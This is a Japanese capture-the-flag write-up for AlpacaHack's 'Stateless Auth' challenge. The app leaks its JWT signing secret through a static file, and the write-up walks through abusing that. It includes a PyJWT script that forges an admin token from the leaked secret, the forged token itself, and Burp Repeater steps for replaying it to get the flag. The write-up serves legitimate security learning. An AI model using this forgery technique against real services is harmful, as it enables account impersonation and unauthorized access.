問題文

Stateless Auth - AlpacaHack
Why do you need a database?
トップ画面

「test」ユーザを入力すると以下のような画面になりました

ユーザ名を「admin」にするとforbiddenになる

脆弱性
JWTを使った認証をしていますが、JWT_SECRETは、static/jwt_secret.txtに保存されているようです。
if not os.path.exists("static/jwt_secret.txt"):
JWT_SECRET = random.randbytes(32).hex()
with open("static/jwt_secret.txt", "w") as f:
f.write(JWT_SECRET)
else:
with open("static/jwt_secret.txt") as f:
JWT_SECRET = f.read()
JWT_EXP = 60 * 60
FLAG = os.environ.get("FLAG", "Alpaca{REDACTED}")
def issue_token(username: str) -> str:
payload = {
"sub": username,
"iat": int(time.time()),
"exp": int(time.time()) + JWT_EXP,
}
return jwt.encode(payload, JWT_SECRET, algorithm="HS256")
実際にアクセスするとJWT_SECRETを取得することができました

JWTを生成するコードは以下の通りのため、usernameとJWT_SECRETを入れればユーザを偽装することが可能です
def issue_token(username: str) -> str:
payload = {
"sub": username,
"iat": int(time.time()),
"exp": int(time.time()) + JWT_EXP,
}
return jwt.encode(payload, JWT_SECRET, algorithm="HS256")
WriteUp
以下のコードを作成して
import jwt
import time
JWT_EXP = 60 * 60
payload = {
"sub": "admin",
"iat": int(time.time()),
"exp": int(time.time()) + JWT_EXP,
}
JWT_SECRET = "20e515c7d11a1cfd9b4f504dfbf05efadbcecf9c5a2b22bab223444aa2bbcb32"
print(jwt.encode(payload, JWT_SECRET, algorithm="HS256"))
以下のコマンドで実行してみます
python3 -m venv myenv
source myenv/bin/activate
pip3 install PyJWT
python3 main.py
以下のようにJWTが生成されます
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsImlhdCI6MTc2OTM1MDg5OCwiZXhwIjoxNzY5MzU0NDk4fQ.0NRQYpsc3F-Kp-c2msQjBZzgcN3Ou21R4aFFg49DykY
BurpSuiteで/dashboardにアクセスしたキャプチャを確認して、「Send to Repeater」をしてRepeaterに回します

Cookieのtokenに先ほど生成したJWTを入れてSendボタンで再送するとadminでログインができフラグが表示されます

おまけ
JWTは、Base64でデコードすると以下のようにデコードできます



コメント